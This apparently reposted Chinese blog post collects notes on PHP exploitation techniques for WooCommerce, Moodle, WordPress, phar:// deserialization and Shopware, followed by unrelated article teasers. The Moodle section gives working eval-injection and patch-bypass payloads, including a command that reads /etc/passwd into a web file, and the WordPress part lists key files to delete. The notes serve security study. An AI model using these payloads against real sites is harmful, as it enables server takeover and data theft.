php最新图片漏洞,2018最新PHP漏洞利用技巧

本文学习了几种新式的php exploit方法,在此做一笔记

文件删除漏洞, unlink()

Phar 反序列化, file*()

PHP对象实例化, ReflectionClass()

0x01 WordPress Design Flaw Leads to WooCommerce RCE

WooCommerce 3.4.6本版本之前存在任意删除漏洞,因为WordPress的设计缺陷将导致整站被接管。

设计缺陷:

WooCommerce插件被关闭之后edit_users权限依旧存在

但是插件的disallow_editing_of_admins过滤器不会再被触发

一般只有administrators可以关闭插件,(但是我们这里有任意文件删除,相当于关闭了插件)

0x02 Moodle < 3.5.0

Code Injection

首先,教师角色是必须的(可以利用xss得到)

使用了eval函数

public function substitute_variables_and_eval($str, $dataset){

// substitues {x} and {y} for numbers like 1.2 with str_replace():

$formula = $this->substitute_variables($str, $dataset);

if ($error = qtype_calculated_find_formula_errors($formula)) {

return $error;// formula security mechanism

}

$str=null;

eval('$str = '.$formula.';');// dangerous eval()-call

return $str;

}

但是有过滤

function qtype_calculated_find_formula_errors($formula){

// Returns false if everything is alright

// otherwise it constructs an error message.

// Strip away dataset names.

while (preg_match('~\\{[[:alpha:]][^>}

$formula = str_replace($regs[0], '1', $formula);

}

// Strip away empty space and lowercase it.

$formula = strtolower(str_replace(' ', '', $formula));

$safeoperatorchar = '-+/*%>:^\~=&|!'; /* */

$operatorornumber = "[{$safeoperatorchar}.0-9eE]";

// [...]

if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {

return get_string('illegalformulasyntax','qtype_calculated',$regs[0]);

} else {

// Formula just might be valid.

return false;

}

}

bypass过滤

8889fe8474be6ce6aa541d6383fab120.png

payload

1.{a.`$_GET[0]`}

2. /*{a*/`$_GET[0]`;//{x}}

=> 0=(date;cat/etc/passwd)>../hi.txt

bypass官方补丁

1.Blacklist

补丁说明:循环检测输入中是否存在//,/*,#

function qtype_calculated_find_formula_errors($formula){

foreach (['//', '/*', '#'] as $commentstart) {

if (strpos($formula, $commentstart) !== false) {

return get_string('illegalformulasyntax',

'qtype_calculated',

$commentstart);

}

}

payload

1?>=log(1){a.`$_GET[0]`.({x})}?>

2.拒绝使用占位符嵌套

public function find_dataset_names($text){

// Returns the possible dataset names found in the text as an array.

// The array has the dataset name for both key and value.

if (preg_match_all('~\\{([[:alpha:]][^>}

$datasetnames = array_unique($regs[1]);

return array_combine($datasetnames, $datasetnames);

} else {

return [];

}

}

// [...]

function qtype_calculated_find_formula_errors($formula){

$datasetnames = find_dataset_names($formula);

foreach ($datasetnames as $datasetname) {

$formula = str_replace('{'.$datasetname.'}', '1', $formula);

}

payload

/*{x}{a*/`$_GET[0]`/*(1)//}{a*/`$_GET[0]`/*({x})//}*/

3.黑名单+线性替换

控制 xml 实现

参考:

0x03 WordPress File Delete to Code Execution

影响范围: =<4.9.6

前提:拥有媒体文件的删除权限(只能利用其它漏洞或者错误配置来取得)

删除目标:

.htaccess 有时其中会包含一些安全策略(比如:访问某些文件夹的权限),删除后会是安全策略无效。

index.php files 一般这个文件是空的,主要是为了防止列目录,被删除了就有可能去列目录了。

wp-config.php 这个删除了,WordPress就要被重装了。

0x04 Phar:// Deserialization

敏感点:

include('phar://test.phar');

file_get_contents('phar://test.phar');

file_put_contents('phar://test.phar', '');

copy('phar://test.phar', '');

include('phar://test.phar');

file_get_contents('phar://test.phar');

file_put_contents('phar://test.phar', '');

copy('phar://test.phar', '');

file_exists('phar://test.phar');

is_executable('phar://test.phar');

is_file('phar://test.phar');

is_dir('phar://test.phar');

is_link('phar://test.phar');

is_writable('phar://test.phar');

fileperms('phar://test.phar');

fileinode('phar://test.phar');

filesize('phar://test.phar');

fileowner('phar://test.phar');

filegroup('phar://test.phar'); fileatime('phar://test.phar');

filemtime('phar://test.phar');

filectime('phar://test.phar');

filetype('phar://test.phar');

getimagesize('phar://test.phar');

exif_read_data('phar://test.phar');

stat('phar://test.phar');

lstat('phar://test.phar');

touch('phar://test.phar‘);

md5_file('phar://test.phar');

可以参考:

0x05 Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE

影响范围:Shopware version <= 5.3.3 and >= 5.1

XSS→POI→XMLi→XXE→PHAR→POI→POP→RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/382981.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php v-for=,Vue中v-for循环节点的实现代码

本篇文章给大家带来的内容是关于Vue中v-for循环节点的实现代码&#xff0c;有一定的参考价值&#xff0c;有需要的朋友可以参考一下&#xff0c;希望对你有所帮助。Title父循环第一次子循环第一次json数据的第几条数值{{index}}{{indo}}{{bp.index}}{{bp.childName}}let ernew …

matlab寻找向量最小值,matlab – 在排序向量中快速搜索大于x的最小值

由于输入已经排序,自定义二进制搜索应该有效(您可能需要对边缘情况进行一些更新,即请求的值小于数组的所有元素)&#xff1a;function [result, res2] binarySearchExample(val)%// Generate example data and sort itN 100000000;a rand(N, 1);a sort(a);%// Run the algo…

搜matlab代码的网站,LTE小区搜索matlab仿真

【实例简介】LTE小区搜索过程的matlab仿真&#xff0c;比较详细&#xff0c;内容不错【实例截图】【核心代码】35738649matlab└── matlab├── Bc.m├── CellSearch.m├── PSS_detection_correction.m├── Tc.m├── absx2.m├── add_header_to_bin.m├── add_h…

php过气了吗,留几手 留几手过气原因

1、很多时候&#xff0c;人们做事情只是为了自己&#xff0c;没有任何理由&#xff0c;没有任何结果&#xff0c;只是为了满足一些内心的期望。2、太理智的人&#xff0c;往往爱到一半&#xff0c;本能地退却。唯一突出的是他的JB。3、怎样才能自由地睡去女文艺青年&#xff1f…

live2d PHP,Live2dHistoire_setting.php

if(!defined(EMLOG_ROOT)) {exit(error!);}function plugin_setting_view(){$live2d_setunserialize(ltrim(file_get_contents(dirname(__FILE__)./live2d.com.php),<?php die; ?>));?>KEY&#xff1a;音乐1&#xff1a;音乐2&#xff1a;音乐3&#xff1a;音乐4&a…

mysql 远程load data,PyMySQL将(文件)数据加载到远程MySQL实例时发生错误/异常

我正在使用PyMySQL-0.5.0并在将数据从文件加载到远程MySQL实例时遇到了一个模糊的错误/异常。在执行“loaddatalocalinfile…”语句时&#xff0c;我看到一个异常&#xff0c;它说&#xff1a;The used command is not allowed with this MySQL version。在如果PyMySQL支持此操…

matlab频率阻抗,有分析阻抗的matlab脚本吗?

以上来自于谷歌翻译以下为原文Interesting...- You cross-posted to two forums. I have deleted the other post.- You dont indicate what scope you are using or what you have tried.Most Keysight (and Agilent) scopes have an FFT or Spectrum function available. Hav…

php中修改弹窗的样式,CSS变形弹窗效果示例

大家都知道&#xff0c;弹出窗体已经是现在网页常用的一种交互设计&#xff0c;在这个注重交互动画体验的时代&#xff0c;网页弹窗也是可以来点新鲜点子的&#xff0c;比如今天分享的CSS 变形Modal Window。当用户点击按钮时&#xff0c;按钮将会变成一个全屏的屏幕&#xff0…

php 开发高德地图地理围栏,高德地图-地理围栏功能实现

最近需要实现一个地理围栏相关的功能。项目是和骑行相关的&#xff0c;主要是当游客或者骑友定位地址进入到对应的景点的地理围栏里面&#xff0c;则播报景点相关的报道语音。接到需求之后&#xff0c;我开始查看高德的相关API&#xff0c;由于围栏是多边形的&#xff0c;则需要…

java abstractrequest,Java AbstractJackson2HttpMessageConverter類代碼示例

import org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter; //導入依賴的package包/類Testpublic void testDefaultConfig() throws Exception {loadBeanDefinitions("mvc-config.xml", 14);RequestMappingHandlerMapping mapping app…

golang调用matlab,Golang中Proto编写和生成

test.proto文件syntax "proto3";//指定proto文件版本package go; //指定文件缩放的package名//定义对象message Test {enum PhoneType //枚举消息类型{MOBILE 0; //proto3版本中&#xff0c;首成员必须为0&#xff0c;成员不应有相同的值HOME 1;WORK 2;}int32 fl…

php折半查找面试题,php 面试题(一)

最近转载一些面试题&#xff0c;希望能给找工作的朋友们带来一点帮助。1.写出5个以上你所知道的常用的Linux命令和它的功能cat&#xff0c;显示文件内容。cd&#xff0c;改变目录路径。cp&#xff0c;复制文件。find&#xff0c;查找文件。grep&#xff0c;搜索、过滤信息。ls&…

次梯度法matlab代码,实例:连续化次梯度法解 LASSO 问题

实例&#xff1a;连续化次梯度法解 LASSO 问题我们将在此页面中构造一个 LASSO 问题并且展示连续化次梯度方法在其中的应用。目录构造LASSO优化问题设定随机种子。clear;seed 97006855;ss RandStream(mt19937ar,Seed,seed);RandStream.setGlobalStream(ss);构造 LASSO 优化问…

php变量使用,php变量的使用

来源:www.cncfan.com | 2006-1-11 | (有1856人读过)就像大部份的结构化程序&#xff0c;有所谓的全局变量与局部变量&#xff0c;PHP 在这方面也是有相似之处。在 PHP 的程序执行时&#xff0c;系统会在内存中保留一块全局变量的区域。实际运用时&#xff0c;可以透过 $GLOBALS…

php syncml 协议,基于改进的SyncML协议的图像安全同步技术研究

Image secure synchronization technology research based on improved SyncML protocolJIA Zhaolong1贾兆拢(1991-)&#xff0c;女&#xff0c;北京邮电大学硕士生&#xff0c;主要研究方向&#xff1a;网络安全技术与应用MA Zhaofeng2马兆丰(1974-)&#xff0c;男&#xff0c…

php 文字水印如何居中,php文字水印和php图片水印实现代码(二种加水印方法)

$dst_path dst.jpg;$src_path src.jpg;//创建图片的实例$dst imagecreatefromstring(file_get_contents($dst_path));$src imagecreatefromstring(file_get_contents($src_path));//获取水印图片的宽高list($src_w, $src_h) getimagesize($src_path);//将水印图片复制到目…

qq ip探测仪 php,巧用Win7资源监视器,查看QQ好友IP

用QQ时间比较长、喜欢DIY的朋友都知道&#xff0c;有一些第三方版本的QQ或者插件可以显示好友IP地址&#xff0c;但其实在Windows7中根本用不着第三方软件&#xff0c;在系统自带的资源监视器中&#xff0c;就能很方便的看到QQ好友的IP地址。首先&#xff0c;打开“任务管理器”…

oracle安装显示注册表,windows下oracle 11g r2 安装过程与卸载详细图解

Oracle 11g安装1.解压下载的包&#xff0c;然后进入包内&#xff0c;点击setup.exe开始安装 。2.出现如下&#xff1a;一般把那个小对勾取消&#xff0c;点击下一步进行&#xff0c;弹出下图这个后点‘是3.下图后&#xff0c;选择创建和配置数据库&#xff0c;点击下一步。4.下…

oracle+连接格式,oracle外连接符号(+)的用法

我们都知道&#xff0c;PL/SQL中实现外连接&#xff0c;除了可以用关键词OUTER JOIN外&#xff0c;还可以用Oracle的外连接符号()。对于这个外连接符号()&#xff0c;虽然看到书上说&#xff1a;使用()进行外连接时&#xff0c;where条件中&#xff0c;对于附表的字段都应带上(…

php一行多个商品,【后端开发】php一行展示多个商品怎么实现

php一行展示多个商品怎么实现php可以用来连接数据库查询商品&#xff0c;并输出展示给用户&#xff0c;但想要实现一行展示多个商品需要用到css技术&#xff0c;具体实现如下&#xff1a;1、首先php代码$sql "select * from user";$result $conn->query($sql);i…